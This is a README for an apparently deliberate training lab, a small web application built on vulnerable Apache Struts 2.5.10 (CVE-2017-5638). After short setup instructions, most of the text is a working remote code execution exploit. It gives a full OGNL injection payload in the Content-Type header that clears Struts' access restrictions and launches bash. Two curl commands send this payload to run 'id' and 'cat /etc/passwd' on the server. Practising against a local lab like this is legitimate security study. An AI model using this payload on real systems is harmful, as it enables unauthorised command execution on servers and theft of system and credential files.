struts-rce

:source-highlighter: pygments

= Apache Struts CVE-2017-5638 exploitation

This simple web application is built with vulnerable Apache Struts 2.5.10 (CVE-2017-5638). It's vulnerable to RCE.

== Starting web application

To start vulnerable web application, execute:

mvn jetty:run

The application will be accessible on port 8012 by default. You can change it:

mvn -Djetty.http.port= jetty:run

== Accessing web application

To access the vulnerable web application, open the following link in your browser: http://127.0.0.1:8012/struts-rce. If you changed the default port, modify the link accordingly.

== Exploiting web application

The vulnerability can be exploited to run arbitrary command on server side (RCE). The payload is included in Content-Type HTTP header. The following payload will execute the id command: [source,http]

Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#p=new java.lang.ProcessBuilder({'/bin/bash','-c','id'})).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

The following command will execute id command on the server side: [source,bash]

curl -H "Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#p=new java.lang.ProcessBuilder({'/bin/bash','-c','id'})).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" http://127.0.0.1:8012/struts-rce/index.action

The below one will execute cat /etc/passwd: [source,bash]

curl -H "Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#p=new java.lang.ProcessBuilder({'/bin/bash','-c','cat /etc/passwd'})).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" http://127.0.0.1:8012/struts-rce/index.action